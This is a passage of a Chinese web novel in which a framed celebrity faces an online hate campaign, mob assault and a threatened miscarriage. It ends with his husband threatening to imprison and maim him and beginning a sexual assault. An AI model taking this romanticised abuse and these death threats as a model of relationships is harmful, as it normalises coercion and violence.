杯中的冰球,在他指尖的温度下,缓慢地融化着,水滴顺着杯壁滑落,无声无敌。
看着合作伙伴走远后,他才慢慢地拿出了手机,神色冷淡,像是下了什么决定,对着手机那头发了一条消息。
“开始吧。”
“欠着的,总是要还回来的。”
……
“赋秋!你不要出门!”
余赋秋收到褚楚消息的时候,已经晚了。
只见在他居住的楼下,停着几辆面包车,车上下来二三十个年轻人,男女都有,带着口罩和帽子,他们的面容扭曲,他们拿着标牌语,横幅。
标语牌上的字眼触目惊心,用鲜红的颜料或者粗黑的马克笔写着与网络词条高度同步的污言秽语。
【#余赋秋抄袭狗,滚出设计圈!】
【#法制余赋秋偷税漏税,严查!】
【#余赋秋吸/毒,毒瘤必须清除!】
【#寄生虫,劣质艺人,滚出娱乐圈!】
【#虐待儿童心理变态余赋秋!】
几乎同时,几个举着手机和便携补光灯的自媒体博主也到了现场,他们熟练地调整角度,将镜头对准公寓激昂的人群,直播间标题一个比一个惊悚。
主播们对着镜头,煽动着民众的情绪:“家人们快看,这就是余赋秋现在的住处!”
“热搜上那些触目惊心的罪行,今天必须让他给一个交代!”
“老铁们礼物刷起来,谢谢我喝口水大哥送的跑车!支持争议行动!打在公屏上!”
【在这里喊什么啊,他真吸毒了,建议验尿啊,这不是诽谤吗?】
【余赋秋道歉!道歉!】
这时候,从人群中有东西砸到了余赋秋的脸上,他呆呆地一摸头发,烂菜叶,臭鸡蛋,矿泉水瓶,甚至是小石头,往他这里砸。
【砸的好!这种垃圾不配活着!】
【虐待孩子,真恶心啊,那节目上装出来的深情人设崩塌了吧。】
【干的漂亮,余赋秋怎么还不去死啊?这种人活着就是浪费地球的能量,呕——】
【他儿子也肯定不是什么好东西,有其母必有其子,还好长庭知没和他继续在一起,这种满嘴谎言的人,不配!】
【不配!】
【才这么点东西?应该泼硫酸!看着张脸就恶心。】
余赋秋立刻关上了门,不顾外面的呼喊,跑回屋子里,蜷缩在离窗户最远的墙角,用被子紧紧裹住自己,却隔绝不了双重世界的恶意。
他颤抖着接通了褚楚的电话。
“赋秋!你千万别出去!我们在赶来的路上。”
“……楚楚,到底发生了什么?”余赋秋的嗓音颤抖,竭力想让自己的情绪稳定下来。
“……别去看热搜,赋秋,乖,我们马上过来了,春春会好的,你千万不要想不开,我们都在你的身边。”
余赋秋挂断了电话,慢慢地点开了热搜。
热搜榜单的前五条,四条都是和他有关,词条的后面跟着深红色的‘爆’字。
私信和@列表不断弹出新的消息,点开任何一条,都是最恶毒的诅咒和不堪入目的P图,曾经合作的演员导演,纷纷发布切割生命,评论区充斥着对他‘早就看出不是好东西’的恍然大悟和嘲讽。
甚至有人扒出了他更早的、模糊不清的旧照,编造出更加离奇荒诞的黑历史。
【高中辍学,怕是连九年义务教育都没有吧,九漏鱼。】
【我姑姑的朋友在行政工作,她说余赋秋是个黑户,连身份都是假的……】
【早年打工艰苦?怕是去给人当情.妇了吧,长庭知实惨,娶了个后门的老婆。】
一条条的消息在余赋秋的眼前闪过。
之前火灾和冲突留下的淤痕尚未完全痊愈,在极度的恐惧和应激状态下,在皮肤下隐隐作痛,像是无数细小的针孔在扎他,胃部因为连日来的恶心和几乎无法正常的进食而持续地痉挛着,传来一阵阵尖锐的绞痛。
他蜷缩在角落里最阴暗的角落里,用手死死捂着自己的喉咙,干呕强过一阵又一阵,胃里翻江倒海,可除了酸涩的胆汁,他什么也吐不出来了。
第一个热搜是爆出了余赋秋早年与人合资、他挂名法人并持有部分股份的一家小型文化投资公司,涉嫌非法集资和巨额资金挪用,主要责任人已卷款潜逃海外。
作为法人代表和股东,余赋秋瞬间被推上风口浪尖,面临巨额债务和潜在的法律诉讼。
“余赋秋公司跑路”登上热搜。
无数所谓的员工从他的公司下面冒出了头,控诉着他压榨着他们加班,甚至连五险一金也不给交,离职了也被迫签署协议书,正准备找人一起去上诉。
余赋秋从来不记得自己投资过什么公司,唯一有的……就是长庭知曾经问过他,要不要交他创业,他什么也不用做,安心等着收钱就好了,因为以后如果长庭知不在了,这个公司也可以给他单独盈利。
原来……就是这么盈利的吗?
紧接着,有匿名举报信和疑似内部流水截图流出,直指余赋秋个人及其工作室存在严重的偷税漏税行为,数额巨大。
税务机关“已介入调查”的消息不胫而走,虽未官方证实,但已足够让人浮想联翩。
他的工作室还没有回应。
最让他推上顶尖的是一段来源不明、画面抖动昏暗的监控录像开始流传。
视频经过剪辑和模糊处理,只能隐约看到一个身形与余赋秋相似的人,指挥着几个黑影,将另一个挣扎的人拖进小巷深处……
配文耸人听闻:“余赋秋涉嫌雇凶报复,手段残忍!”
恰好柯祈安转发了这一条微博,控诉着:“余老师,你究竟要害我到什么地步?先是让我吃了花生,让我过敏性休克进了医院,为了堵住我的嘴,找人拖进巷子里……如果不是阿知,我根本不知道我会变得怎么样……”
“余赋秋,我为我曾经喜欢过你而赶到廉耻。”
随即在热搜下面的,还有几张特写的照片,画面中是一只有着零星陈旧疤痕和若干新鲜红点的手臂,那些红点被刻意圈出,加上余赋秋乌青的眼底和苍白的肌肤,很难不让人想象,发出这个照片的博主,配文:“这是……吸了?”
评论区都是吸之前前后的对比,对比之下,余赋秋的模样实在是太过于类似了。
余赋秋扒开自己的衣领。
手背上依稀可见的是针孔,和密密麻麻的伤痕,他闭了闭眼,这些都是他被迫输入营养液维持生命体征的选择。
这些“证据”一环扣一环,从经济问题到刑事犯罪,再到触及公众最敏感底线的吸毒嫌疑,彻底将余赋秋钉死在了劣迹斑斑、无可救药的耻辱柱上。
真相如何,已经不重要了。
舆论的绞索已经收紧,法律的达摩克利斯之剑似乎也已悬在头顶。
余赋秋瘫在地上,手机从无力的手中滑落,屏幕依旧在不断闪烁,映亮他惨白如纸、布满冷汗和泪痕的脸。
他望着天花板,瞳孔涣散,胃部的痉挛和全身的疼痛似乎都感觉不到了,只剩下一种冰冷的、逐渐蔓延的麻木,和一种……窒息感。
他明明什么也没做,但世界却如同深不见底的深海一般,将他卷入其中,将他彻底吞噬。
或许……这是剧情要修复bug而抹杀他的手段之一吗?
作者有话说:
大概2章左右跑路,后面火葬场开始。好沉默的大家hhh
第63章 第63章[VIP]
时间一分一秒地朝着前走, 余赋秋却觉得度日如年,窗户被厚重的窗帘当上,连一丝阳光都没有。
他前面被传唤去警察局, 事件闹得太大, 既便工作室发了声明和律师函,也丝毫没有作用,他现在正处于风口浪尖上, 网民才不管事情的真相,只知道有了一个宣泄的入口。
而目前他做什么都是错的,他能做的, 就是被迫承受着这些莫须有的漫骂。
褚楚带着他从警察局出来, 对他说:“赋秋,星月拍完了, 后面的通告……你先不要担心, 你去我那里避避风头,我在M国的海边有一个海岛,你去那里散散心也好。”
余赋秋倚在斑驳的墙根下,周身裹着一层薄薄的凉意,脸色是近乎透明的白, 像上号的羊脂玉被卒上了一层寒霜, 却偏偏生了一张惊绝的脸, 眉目精致得像是从画中走出来得,此刻却没有半分神采,反倒衬得那点苍白愈发得楚楚可怜。
褚楚心尖一动, 不可控制的去抓住余赋秋的手, “赋秋,相信我, 我可以处理好一切的。”
余赋秋扬起一抹仓惶的笑意,他的大脑像是生锈了般,左成双给他开了药,要求他必须按时服用,不知道是不是药物的副作用,他觉得自己大脑已经很难在快速的去思考东西了。
褚楚的话在他的脑子里转了几圈,他才反应过来,缓慢地摇了摇头:“楚楚,我知道你对我的好不是假的,只是我不能拖累你。”
“而且……春春他也需要人照顾,昭铭已经帮我把他转去了安保很好的医院,所以你不要担心。”
“不是我干的,我不会承认,我会等到清白的。”
褚楚想要再说什么,但是看着余赋秋的脸,她抿着唇没有说话。
“余哥……”谭铃急忙地从警察局走出来,将热搜上的消息给余赋秋看,“您……最近还是不要回去了,找个其他地方。”
只见柯祈安放出了自己的毕业设计草图,还特地录制了一个视频,视频中的他眼眶泛红,手里举着一塔泛黄的草图——那是长秋集团某个设计的时代爆款,而这个时代季度的主理人正是余赋秋,线条和笔触和最终陈品几乎一模一样,他对着镜头,声音哽咽却字字清晰:“这是我大四的毕业设计,去年冬天,余老师工作室的人想请我过去看看,我就把这个图交给了他们。”
画面切到聊天记录截图,转账记录里面,一笔带着五位数的转账备注着‘买断费’,收款方的一栏空空如也。
柯祈安的声音带着控诉:“他说想让我这个设计纳入工作室的新品,给我钱,让我签保密协议,可这是我的毕业设计,我费了好大的心血,我拒绝了。”
“谁,谁知道——”
他放出一段录音,里面的声音被刻意的处理过:“你要是敢把这件事情说出去,我保证,你毕不了业,在这个圈子也别想混下去。”
视频的最后,柯祈安对着镜头深深鞠躬,眼中含着泪,“我觉得我不能再忍下去了,是庭知哥给了我力量,鼓励我说出来,余老师,我要揭露你的罪行。”
“这张……设计图?”
余赋秋瞪大双眼,不断地放大,自言自语,随即摇了摇头:“……不,不可能,长秋集团季度的服装设计,我的工作室根本没有掺和进去,怎么可能去盗取他的设计稿!”
“但我们工作室的公章,的的确确在上面。”谭玲神色难看,“除非,是工作室特意有人拿走了。”
“上一次使用公章的人是谁!”
余赋秋问道。
谭铃迅速地调出监控,只见一次夜晚,他的办公室被推开了,那人小心翼翼地,撬锁,把公章拿了出来。
“这是谁?”
余赋秋看着这个人很面生,虽然是他的工作室,但他几乎不插手工作室的事情。
“我记得他,叫施景。”
施……?
和施铜什么关系?
视频播放量疯涨,评论区已经炸开了锅。
【我靠,我说怎么看着很奇怪,很眼熟,我从高中就追安安,当初看那个季度的风格就很眼熟,原来是抄袭。】
【柯祈安也太惨了,被威胁不能毕业,换谁敢吭声?】
【余赋秋人设崩塌了,以前还吹什么业界良心,都是装的!恶心!】
【给爷爬!】
谭铃看着他苍白的脸色,心被揪成一团,眼泪掉了下来:“余哥,您快走吧,现在媒体肯定都堵在您家里了,您什么为人,我们还不清楚吗,这件事绝对不是真的,我们一定可以澄清的。”
余赋秋没说话,只是抬起头,看着远方的日暮。
风更大了,吹乱了他额前的碎发,露出一双漆黑的眸子,里面安静的如一滩死水。
他缓缓地攥紧手机,指腹摩梭着屏幕边缘,漂亮的唇瓣抿成一条直线。
“躲?”他的声音很轻,带着一丝罕见的迷茫,“我没做错事,为什么要躲?”
“而且……我又可以躲到哪里去呢?”
……
就在不久前,手机屏幕上接受着法院传票的电子版和会计事务所发来的、触目惊心的债务清算报告。
那家长庭知给他早年挂名,实则参与不多的投资公司彻底破产清算,留下的不仅是空壳,还有因非法集资和资金挪用的巨额债务,雪上加霜的是,一位被卷走毕生积蓄的老年投资者承受不住打击,跳楼身亡了。
舆论瞬间将这条人命记在了余赋秋的头上,说他是‘罪魁祸首’‘草菅人命’
他必须立刻前往相关部门接受调查,同时,律师告诉他,若不想面临更严重的刑事指控和无期限的资产冻结,他必须要筹措资金,填补这部分的窟窿。
余赋秋没有想到,他在十五年后,一切都要清零。
他和长庭知结婚后,他的钱财都被保管在长庭知的手中,那是他们的婚后财产。
长庭知有无数的手段可以转移他们的钱。
而他现在却……
拿不出一分去填补这个窟窿。
唯一的办法,就是变卖他名下的房产。
余赋秋不得不带着相关的文件,前往银行去抵押贷款。
既便他换了住址,那群人却还是不肯放过他,阴暗的角落里传来一声尖利的‘是那个逼死人!还诈骗的余赋秋!’瞬间引来了无数的目光,人群迅速聚集,指指点点,咒骂声如同冰雹般砸来:“人渣!还有脸出来!”
“害死人的凶手!”
“滚出这里,别脏了我们的地!”
“吸.毒鬼!草菅人命的凶手。”
人群的咒骂与推搡如同沸腾的潮水,将余赋秋单薄的身影死死围困在中央。
他下意识地抬起手臂,徒劳地挡在身前,试图隔绝那些充满恶意的目光和可能袭来的伤害。
混乱中,他甚至不敢抬头,只想尽快从这片令人窒息的泥沼中挣脱。
就在他咬着牙,试图从两个骂得最凶的中年妇女之间挤过去的瞬间——
“哗啦——!!!”
一桶不明液体,从嘈杂混乱的人群缝隙中,狠狠地、劈头盖脸地朝他泼了过来!
余赋秋根本来不及反应,冰冷的、带着令人作呕的粘腻感的液体,瞬间浇透了他单薄的衬衫和头发。
液体顺着发梢、脸颊、脖颈,迅速流淌,浸湿了衣领和后背。
一股难以形容的、甜腻中混杂着食物腐败馊臭的刺鼻气味,猛地窜入鼻腔,熏得他胃里一阵翻江倒海。
他短促地惊叫一声,猛地闭上了眼睛,睫毛被粘稠的液体糊住。
那冰冷的触感和恶臭的气味带来生理性的强烈不适。
液体混合着他夺眶而出的滚烫泪水,一起沿着苍白的皮肤滑落,留下肮脏的痕迹。
他浑身无法控制地剧烈发抖,牙齿格格作响,不知道是因为寒冷,还是因为恐惧与恶心。
此刻,他脑子里只有一个念头:逃!立刻离开这里!
他胡乱地抹了一把脸上的液体,睁开发红的、被刺激得流泪不止的眼睛,试图辨认方向,跌跌撞撞地想要冲出重围。
然而,更疯狂的攻击接踵而至。
“就是他,害我们安安过敏住院,差点休克!现在还诬陷安安,就是他!”
几个看起来年纪不大,但眼神狂热的年轻男女认出了他,尖叫着冲了上来。
“反正我是未成年!犯法也不判刑!我要打死你这个贱货!”
“你怎么敢伤害我的安安!你不配!你不配!”
其中一个女孩子伸手去抓他的头发,用包狠狠砸他的脸:“你有什么资格长着和安安一样的脸!”
“你这样的人,就不配活在世界上。”
“人渣,去死吧!”
拳头和推搡如同雨点般落下,本就虚弱不堪的余赋秋根本无法反抗,被推着连连后退,他狼狈地用手臂护着头,被迫承受着这些带着恶意和恨意的击打,单薄的身体在粗暴的力道下,像是破布一样摇晃。
窒息的疼痛几乎要让他逼疯。
其中有人狠狠踹了一下他的腹部,余赋秋忽然感到小腹深处传来一阵尖锐的、撕裂般的坠痛!
“呃——!”
他闷哼一声,脸色瞬间由苍白转为惨青,额头上渗出大颗大颗的冷汗,与那些污浊的液体混在一起。
那疼痛来得如此猛烈,让他瞬间蜷缩起身体,连抵挡殴打的力气都消失了。
肚子……好疼……
像有什么东西在往下坠,要硬生生剥离他的身体。
似乎有温热的液体从他的腿间滑落出来。
他眼前一黑,再也支撑不住,昏倒了过去。
再次恢复些许意识的时候,他已经躺在医院急诊室刺眼的灯光下,消毒水的气味浓烈,耳边是医生和护士的交谈。
“……怀孕……先兆流产迹象。”
“……HCG值确认。”
“需要立刻保胎,但病人身体状况很差,胎儿的情况也不乐观……”
“家属呢,联系了吗?”
怀孕?
这两个如同惊雷,在余赋秋混沌的脑海中炸开。
他……
居然又怀孕了?
又怀了庭知的孩子?
在这个一切分崩离析的时刻?
“家属……”护士面露难色,“在离婚诉讼期间的……算家属吗?”
余赋秋缓缓抬起了头,面色惨白,他捂着还隐隐作痛的肚子,“你说什么……离婚?”
护士见他醒了,立刻闭上了嘴,但经不住余赋秋的哀求,还是闭着眼睛把手机递给他了。
【#长庭知提及离婚】
【#我磕了七年的爱情还是be了】
【#余赋秋变卖婚内财产】
只见长秋集团发了一长串。
【长秋集团:……鉴于余赋秋先生近期一系列涉嫌违法违规行为,及其在未经长先生知晓与同意的情况下,擅自处理包括双方共有住宅在内的重大婚内财产,试图转移巨额资产,严重损害了长先生合法权益及夫妻间基本信任……长先生已委托律师,正式向法院提起离婚诉讼……对此段婚姻的终结深表遗憾,但基于原则与底线,长先生不得不做出此决定……】
长庭知转发了这条微博,只有冷冷的两个字。
【长庭知:属实。】
声明下面,是长庭知工作室恰好流出的、余赋秋前往银行咨询抵押贷款的模糊照片,以及消息,称余赋秋正在私下寻找买家,意图低价急售那栋房子,款项用途不明。
【果然是最毒夫人心,连婚内财产都要偷!】
【长总终于清醒了!快离!】
【这种配偶太可怕了,离婚还要被扒一层皮】
【支持长总维权!不能让这种人得逞!】
肚子还在疼,一阵紧过一阵。
手机屏幕的光映着他惨白如纸、布满泪痕和污渍的脸。
眼前是长庭知那封将他最后一点生机和名誉也彻底斩断的离婚声明。
债务、调查、辱骂、泼液、怀孕、先兆流产、离婚声明、财产纠纷……
所有的打击,在这个散发着消毒水气味的冰冷空间里,汇聚成一股毁灭性的洪流,将他彻底吞没。
他躺在病床上,看着天花板,一只手无意识地覆在小腹上,那里孕育着一个可能随时消失的、不合时宜的生命。另一只手,紧紧攥着已经黑屏的手机。
没有哭,也没有喊。
只是觉得,好冷。
从骨头缝里,透出来的,灭顶的寒冷。
第64章 第64章[VIP]
就在不久前, 促使长庭知发离婚声明的是柯祈安的一段话。
那是在老宅的花和所有关于余赋秋的东西都被清理之后,余赋秋被当众质问爆出丑闻一系列事件发酵到顶点,舆论对余赋秋的声讨达到最激烈的时刻。
长庭知在白天的时候, 总是感到莫名的烦躁, 尤其无意间看到余赋秋照片的时候,这种烦躁感到达了顶峰。
在他再一次将面前余赋秋的照片甩在地上,玻璃碎了一地之后。
柯祈安小心翼翼地推开门, 或许是察觉到了他这份不安,他牵着长庭知的手,先是翻出柜子里的医疗箱, 轻柔地为长庭知贴上了粉色的创可贴后, 他以以这种前所未有的、带着脆弱与哀伤的郑重姿态,看着长庭知。
他没有立刻说话, 只是低垂着眼睫毛, 手指轻轻抚摸着长庭知的指尖,似乎是在酝酿着极大的勇气,灯光在他精致的侧脸上投下阴影,显得格外楚楚动人。
偏偏在长庭知的那个视角看下来,柯祈安的这个角度, 几乎与余赋秋一模一样, 他的心头一颤, 下意识地想要伸出指尖,去抚平那眉间的褶皱。
这个动作似乎给了柯祈安无尽的勇气,“庭知。”他终于开口, 带着一丝不易察觉的颤抖, “有件事情,在我的心里压了很久, 我一直不敢说,怕说出来,连这样呆在你身边的资格都没有了……”
长庭知神色冷淡,没有动,只是指尖的动作没有收回,依旧停留在那里。
柯祈安深吸一口气,抬起湿润的眼眸,直视着长庭知:“其实……当初在小巷子救你的人,是我。”
长庭知眼神微动,关于那个落雨小巷子,他的记忆模糊和混乱,只记得一些破碎的画面和强烈的濒死感。
至于是谁带他走的,他已经全然不记得了。
柯祈安敏锐地捕捉到了长庭知眼中的茫然,他勾了勾唇角,果然,在梦中那道声音告诉自己的,真不假。
这个世界已经按照剧情走了,而他做的,只是按照剧情中,说出那些句子,将所有的剧情拖回正轨,而余赋秋,也以一种肉眼可见的速度被摧毁。
不是吗?
他的眼泪适时的滑落,他微微偏过头,声音哽咽:“那天下着好大的雨,我刚好路过巷口,听到里面有奇怪的声音……”
“然后看到了你,你满身是血,倒在污水里,几乎没有了呼吸……”
“我吓坏了,但还是鼓起勇气,把你……把你从水里拖了出来。你很重,我几乎用尽了所有力气……我的衣服全湿了,沾满了血和泥……后来,我把你送到了最近的诊所,守了你一整夜,直到你脱离危险,我才悄悄离开……因为,因为那时候我们还不认识,我怕惹上麻烦,也怕……怕你觉得我多管闲事。”
他抬起泪眼,看着长庭知,里面包含了眷恋和委屈:“我本来想把这件事情永远埋在心底,可是后来……我得知,余赋秋以这个来威胁你,以恩人,以爱人的姿态自居,我,我的心真的好痛。”
“我不知道他是怎么知道这件事的,也不知道他用了什么方法误导了你,让你相信救你的人是他!但他就是一个小偷!他偷走了原本属于我的那一刻,偷走了我冒着生命危险换来的、可能接近你的机会,然后……然后用这个偷来的身份,占据了本该属于我的、陪伴你的所有时光!”
“如果,如果当初你没有被他偷走,而是和我一起,你会少吃多少苦啊。”柯祈安吸了吸鼻子,“我会给你最好的条件,会带你一起出国,我们会一起在世界旅行,……”
“你知道以前,我只能,我只能在一旁看着,看着小偷享受着本不属于他的一切,还有承受他的污蔑和伤害,我看着你对他的眼神,对他满怀爱意,我在想,如果当年我没有多管闲事,没有走进那条巷子,是不是,就不会那么痛苦了?……”
长庭知坐在那里,身子像是雕塑般僵硬了,看着那张落泪的漂亮脸庞,脑海中那隐约模糊破碎的记忆,似乎找到了合理的拼图。
这段时间所有的烦躁,以及无数次在梦中牵引着他的那道声音,全都指向了一个结论——
柯祈安才是真的。
柯祈安说的都是真的。
余赋秋是假的。
他偷走了独属于柯祈安的一切,偷走了本该属于他和柯祈安的十五年。
他一直生活在,一个精心设计的骗局里。
他低头,喉头滚动了两下,轻声问:“……你真的,愿意什么都给我?”
柯祈安微微瞪大了眼睛,像是祈祷了很久的信徒得到了神明的回应,他眼尾泛红,脸颊潮红,含着水雾地点了点头,“我愿意,我愿意的。”
长庭知没有表情地勾了勾唇。
“如果这是你的愿望,那么我愿意。”
……
余赋秋虚弱地靠在床头,脸色苍白如纸,眼睫低垂,他就这么维持这个动作很久了。
背后垫着柔软的枕头,却仿佛无法支撑他身体的重量,时间在他的身上仿佛凝固。
忽然,一阵不同于房间冰冷的气息悄然弥漫,不是百日那种冰冷刺骨的疏离,而是一种深埋于记忆深处,温暖到令人心尖发颤的熟悉感。
余赋秋及不可察地颤动了一下睫毛。
下一秒,他的身体被一双颤抖却坚定有力的手臂,轻轻地、却又无比珍惜地拥入了一个滚烫而熟悉的怀抱。
长庭知,眼睛红肿,脸上还带着未干的泪痕,眼神里再也没有了平日的冷漠,只剩下一种慌张。
“球球,我的球球……”他将脸深深埋进余赋秋的颈窝,滚烫的泪水瞬间浸湿了余赋秋单薄的衣物,“对不起,对不起,我回来了,我来晚了。”
他紧紧抱着余赋秋,一遍遍地亲吻他的头发、鬓角,冰冷的脸颊。
但余赋秋却丝毫没有反应。
“你看,你看这个……” 他稍微松开一点,手忙脚乱地从口袋里掏出手机,颤抖着点开相册,里面是他们早年用旧手机拍的、像素模糊却笑容灿烂的合影,“这是我们在那个小出租屋里,你第一次给我过生日……你看你笑得多傻……”
“还有这个,春春刚学会走路,摇摇晃晃地扑向你,我抓拍到的……你当时眼里有光……”
他一张张翻看着,声音带着泪意,却努力让语调轻快,试图用这些记忆碎片,唤回余赋秋一丝生气。
“对了,电影……我们每年的今天都会看的那部电影……”
他像是想起了什么,慌忙拿起一旁的平板电脑,动作有些笨拙地找到那部早已下载好的影片,“我们一起看好不好?就像以前一样……”
“我们每周年都会播放的,你每次都会赖在我的怀里撒娇,要看这一部,怎么也看不腻。”
电影开始播放,熟悉的配乐流淌出来。
荧幕上的光映在两人脸上。
余赋秋被他紧紧搂在怀里,被迫看着屏幕。
他眼神极其轻微地动了一下,长睫微颤,视线似乎终于有了一丝焦距。
他慢慢地、极其缓慢地,转动眼珠,看向近在咫尺的、爱人脸庞。
长庭知的脸,在屏幕微光的映照下,轮廓柔和,眼中盛满了几乎要溢出来的爱怜与小心翼翼。
这张脸,与记忆中无数个温柔夜晚重叠。
余赋秋的嘴唇,几不可察地动了动。
一股微弱的气流似乎想要冲破干涩的喉咙。
他想说什么。
或许是想问“你真的是庭知吗?”,或许是想说“我好疼”,又或许……是想告诉他那个藏在心底、还没来得及说出口的、关于孩子的秘密。
可是……这一切,似乎都没有了意义。
长庭知立刻察觉到了他这细微的变化,心头狂喜,却又更加心疼。
他连忙低下头,将耳朵凑近余赋秋的唇边,声音轻柔得像是怕惊扰了易碎的梦:“秋秋,你想说什么?慢慢说,我在听,我一直在……”
他的眼神那么专注,那么温柔,仿佛余赋秋就是他的全世界。
然而,余赋秋最终只是极轻地吸了一口气,什么声音也没能发出。
长庭知的心尖一颤,一股莫大的恐慌如同潮水般将他吞没。
他只是更紧地抱住他,将下巴轻轻搁在他的发顶,目光落在电影画面上,却仿佛透过屏幕,看到了他们曾经拥有过的、平凡却幸福的点点滴滴。
直到电影播完了,黑屏中倒映出他们的身影。
余赋秋想要挣脱他的怀抱,沉默着,他没有挣扎开,他转头,凝视了爱人的脸庞,很久很久,他才慢慢地说:“庭知,要不……我们还是离婚吧。”
长庭知僵住了。
他似乎是不可置信,也像是没听见,继续把下巴抵在他的脑袋上,轻声数着小山羊的数量:“春春回来的时候,我给他讲一百遍小山羊的故事。”
“还有港城沙滩的椰子树,我们再种几个好不好?”
“你不是想再去挪威一次吗?等我处理好一切事情的时候,就走,好不好?”
他下意识地又喊了一遍余赋秋的名字,声音嘶哑得厉害,带着自己都未察觉得颤抖。
余赋秋却打断了他:“我真的没有办法想到,还有什么能留在你的身边了。”
“我以为我很坚强的,可是我发现我根本不是这样,”他的眼神疲倦,透着隐隐的绝望:“我以为,我看到你和他在一起,我可以无所谓的,……”
“我试过了,我试过忽略那些沉默,那些等待,那些你的不得已,你眼神的冷漠,对他所有的好……”
“我搭上了我自己,甚至我还搭上了春春,更何况……”他的手轻轻摸着自己的小腹,这里还有一个他们的小生命。
“我想要继续说服我自己去爱你,可是我……”
好像做不到了。
余赋秋陷入短暂的迷茫,长期的努力让他得不到正面的反馈,得到的全是负面的反馈,他还有什么能作为代价去付出呢?
“所以,你要决定离开我?”他的声音陡然拔高,“离婚?”
他紧紧掐着余赋秋苍白的面容。
下一秒,天旋地转。
余赋秋甚至没看清他是如何动作的,只觉得一股无法抗衡的巨力袭来,后背猛地砸进柔软的沙发垫里,震得他五脏六腑都仿佛移位。
长庭知整个人覆压上来,阴影完全笼罩了他,那双总是含着笑或装着深情的眼睛,此刻燃烧着骇人的火焰,紧紧锁着他的视线,不让他有半分逃离的可能。
“你想离开我?”长庭知的声音贴着他的唇瓣响起,“余赋秋,你做梦!”
最后一个字音落下的瞬间,带着血腥气的吻重重碾落。
这不是亲吻,是刑罚。
长庭知近乎疯狂地啃咬着他的嘴唇,撬开他的齿关,掠夺他口腔里每一寸空气和每一分温度。
与其说是索求,不如说是一种狂暴的标记。
余赋秋被这突如其来的暴戾完全震住,挣扎的力道在绝对的力量差距面前显得微不足道,只能被动承受着这几乎要将他吞噬的浪潮。
不知过了多久,或许只是几秒,又像一个世纪那么长。
长庭知终于稍稍退开一丝缝隙,胸膛剧烈起伏,灼热的气息喷在余赋秋潮湿红肿的唇上。
他的拇指用力擦过余赋秋的唇角,抹掉一点不知是谁的血迹,眼神狠戾如被困的凶兽。
“听着,”他每一个字都像是从牙缝里迸出来,“我会把你锁起来,锁在这屋子里,锁在我身边……都不可能和你离婚。”
“你要是敢跑,我就打断你的四肢,你要是敢去看其他的人,我就废了你的眼睛,你必须只能呆在我的身边,离婚,想也不要想。”
“死也不可能。”
他的视线猛地扫向一旁茶几上那份刺眼的文件。
没有半分犹豫,他长臂一伸,抓过那叠纸,看也不看,双手握住纸张边缘——
“嘶啦——!”
清脆响亮的撕裂声再一次划破寂静。
这一次,更加彻底,更加狂暴。
纸张在他手中化为无数碎片,被他狠狠扬向空中,又纷纷扬扬落下,像是一场雪,散落在四周。
他狠狠顶开余赋秋的双腿,将它打开的更大,牵制住余赋秋的双手,反剪在沙发上,指尖强硬地撑开他的十指,牢牢地缠绕在一起。
“不,不可以!”
孩子,孩子还在。
他们都要离婚了。
怎么可以再发生关系?
“不,不能碰我!你滚!”
“不……别碰我!”
眼尾因极致的抗拒和屈辱而迅速晕开一片惊心动魄的红,他死死咬住下唇,力道大得几乎要咬出血来,试图用疼痛压下喉间几乎要冲出的破碎呜咽。
这副脆弱到极致、仿佛轻轻一折就会断掉的模样,非但没有熄灭长庭知眼底的火焰,反而心底的暴虐止不住的喷涌而出。
“不给我碰?”
“你要给谁碰?”
长庭知从喉咙深处挤出声音。
“怎么,沈昭铭吗?”
“我不在的日子里,你到底勾引了多少人?”
余赋秋越是表现出抗拒,那抗拒落在他眼里,就越是为了沈昭铭守身的目的。
“想都别想!”他低吼一声,动作再没有任何迂回和犹豫,粗暴得近乎施虐。
“刺啦——!”
领口被蛮力扯开,纽扣崩飞,不知弹落何处。
冰冷的空气骤然侵袭裸露的皮肤,激起一片细密的战栗,但更冷的是长庭知眼底那骇人的猩红。
余赋秋被完全压制,双手腕骨被一只铁钳般的大手死死扣住,按在头顶上方,动弹不得。
另一只手则带着滚烫的、不容置疑的力道,近乎残忍地在他身上游走、揉捏,所过之处留下一片刺目的红痕。
“长庭知!住手!我们……我们都要离婚了!”余赋秋终于哭喊出声,声音破碎不堪,带着泣音和绝望的颤抖。
他徒劳地扭动着身体,试图挣脱那压倒性的禁锢,泪水汹涌而出,“你怎么可以……怎么可以再……”
“离婚?”长庭知像是听到了什么极其可笑的话,他俯身,灼热的气息喷在余赋秋泪湿的颈侧,“那张废纸,我撕了。你的人,从里到外,从过去到以后,都只能是我的。”
“你还要怎样,才能乖乖地听懂我的话?”
“沈昭铭知道你在我身下这幅样子吗?”
“嗯?我拍个视频给他看看好不好,宝宝?”
他根本听不进任何话,也拒绝去思考任何意义。
他只想用最原始、最直接的方式,重新占领、标记、抹去一切不安定的可能。
那只肆虐的手更加肆无忌惮,沿着腰侧滑下,指节恶劣地陷入柔软的下腹。
“不——!不要!!”
就在这个时候,长庭知手机忽然响了。
是给柯祈安专属的定制铃声。
这铃声像一根针,猝然让长庭知清醒过来。
他眉头狠狠一拧,几乎是条件反射般,带着戾气,猛地扭头看去。
屏幕上跳动的名字,是柯祈安。
这个名字映入眼帘的瞬间,长庭知的身体几不可察地绷紧了一瞬。
他撑在余赋秋耳边的手,指节无意识地收紧。
余赋秋躺在他身下,依旧保持着被压制的姿势,泪水无声地顺着太阳穴滑落,没入鬓发。
一股冰冷的、近乎麻木的绝望,比刚才被暴力对待时更深的寒意,缓慢地浸透了他的四肢百骸。
他连颤抖的力气都快没有了。
长庭知几乎是咬着牙,猛地伸手抓过手机,拇指划过接听键的动作带着一股狠戾的烦躁。
“说!”他对着话筒低吼,声音沙哑紧绷,目光却还残留着一丝惯性,落在余赋秋脸上。
话那头传来的,却不是寻常的声音。
而是压抑的、带着剧烈喘息和哭腔的、断断续续的求救,背景音杂乱,夹杂着模糊的咒骂和拖拽的声响。
“庭知……救我……巷子……他们……啊——!”
“他们要欺辱我……救我,救我……”
柯祈安的声音充满了恐惧,一声短促的惊叫后,通话似乎被干扰,变得嘈杂,然后猛地中断,只剩忙音。
“祈安?祈安!”长庭知对着话筒急喝两声,脸色瞬间变了。
他猛地从余赋秋身上撑起身,他站在沙发边,快速整理了一下凌乱的衣襟,蹲在余赋秋的身边。
余赋秋闭着眼,只有眼睫在无法控制地剧烈颤动,眼泪不断从眼角渗出。
长庭知的喉结剧烈滚动了一下。
他张了张嘴,似乎想说什么。
但最终,所有的话都堵在喉咙里,他只是轻声说了一句,“待在这里,等我回来。”
随即从口袋里面掏出一个银色的戒指,套在余赋秋的无名指上。
